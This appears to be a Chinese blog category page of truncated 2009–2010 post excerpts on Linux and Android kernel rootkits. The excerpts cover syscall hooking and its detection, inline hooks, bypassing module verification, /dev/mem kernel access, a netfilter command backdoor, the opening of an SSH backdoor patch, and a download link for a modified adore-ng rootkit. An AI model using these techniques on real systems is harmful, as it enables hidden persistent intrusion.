您正在查看 "Rootkit" 分类下的文章 2010-10-18 10:01 boxer这个mem rk是在07年的时候被一个管理员给爆出来的, 很专业的一个rk, 有很多人猜测boxer是不是就是sk2改进来的, 单从hook方式来说, boxer跟sk2不一样, sk2是直接替换了int 0x80的handler function, 所以判断有没有被sk2入侵, 只需读idt表的0x80项, 在跟/proc/kallsyms里的system_call做比较即可。 boxer更先进一点, 它是在system_call里, 把call *sys_call_tabl(, %eax, 4)替换为movl $0xnew_idt_handler, %edx, jmp *%edx来进一步处理, 所以判断机器有没有被boxer入侵, 只需从system_call开始搜寻0xe2也就是jmp的机器码 |
2010-09-13 14:38 周日在家研究了下 Android内核, 成功的在模拟器上运行了一个rootkit程序, 隐藏文件,进程,模块,开启了一个bindshell监听某个端口。 今年defcon上有黑客演示了运行在android手机上的rootkit,但他那篇paper写的太水了, 里面讲到还要修改内核代码来突破模块校验, 这个我去年就写过paper讲述如何bypass模块校验了。 Android内核本来就是在linux kernel上改进的, 所以rootkit方法大同小异, 会写x86架构下的rootkit就会写arm下的了。 |
2010-05-21 9:57 将需要inline hook的函数机器码先拷贝到一块内存中, 然后动态修正这块内存的call,jmp对应的offset, 然后给原始函数做个inline hook, 跳到新函数去执行, 新函数做一些过滤判断后, 调用新分配的内存保存的机器码, 想当于调用原始函数。这种技术在实战中没什么用, 拓展下思路还是不错的。
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/list.h>
#incl |
2010-01-23 11:50
By wzt
1、 为什么要突破模块验证
Linux内核版本很多,升级很快,2个小内核版本中内核函数的定义可能都不一样,为了确保不一致的驱动程序导致kernel oops, 开发者加入了模块验证机制。它在加载内核模块的时候对模块进行校验, 如果模块与主机的一些环境不一致,就会加载不成功。
看下面一个例子,它简单的输出当期系统中的模块列表:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/ver |
2010-01-23 11:40 ==Ph4nt0m Security Team==
Issue 0x02, Phile #0x05 of 0x0A
|=---------------------------------------------------------------------------=|
|=-------------------=[ 高级Linux kernel inline hook技术 ]=------------------=|
|=---------------------------------------------------------------------------=|
|=------ |
2009-07-07 16:35 因为这个选项, /dev/mem类型的rootkit很可能会再次发挥作用,它默认是没开启的。。。
kernel hacking -> Filter access to /dev/mem
不过rhel系列的内核已经开启了这个选项,所以还是很安全的。 大于1m的物理内存是不能被映射的, 因此想读内核空间是不可能的。
重新升级内核到2.6.30, 没开启filter选项, 又可以读写内核空间了。。。
看下代码/drivers/char/mem.c:
/*
* This funcion reads the *physical* memory. The f_pos points directly to the
* memory location. |
2009-06-04 8:10 前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包, hook点是NF_IP_PRE_ROUTING, 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门, wnps就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个demo用来演示分析tcp包的内容, 分析出里面的命令, 然后去执行它, 有点类似以前的icmp, ip包后门, 只不过这些都在内核来完成, 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。 |
2009-05-08 8:23 很久之前写的ssh后门patch了, 对于ssh和pam后门, 编写都比较简单, 只要在对应函数中打个patch即可。
diff -uNr old/auth-passwd.c new/auth-passwd.c
--- old/auth-passwd.c 2004-06-22 11:37:12.000000000 +0800
+++ new/auth-passwd.c 2005-10-13 15:22:27.093750000 +0800
@@ -150,6 +150,21 @@
* Authentication is accepted if the encrypted passwords
* are identical.
|
2009-05-07 11:04 adore-ng老牌的linux rootkit在高版本内核编译不过去了, 简单的fix了下, 可以在高版本内核编译和运行。有需求的同学可以试试。
http://kevin1986.com/plus/wzt/adore-ng-0.56-wztfix.rar
感谢凯文提供空间 |
2009-05-01 8:03 pattern.c/get_kma():
作用:通过模式匹配搜索kmalloc()函数的地址
如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,
但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询:
push GFP_KERNEL <something between 0-0xffff>
push size <something between 0-0x1ffff>
call kmalloc
|
| | |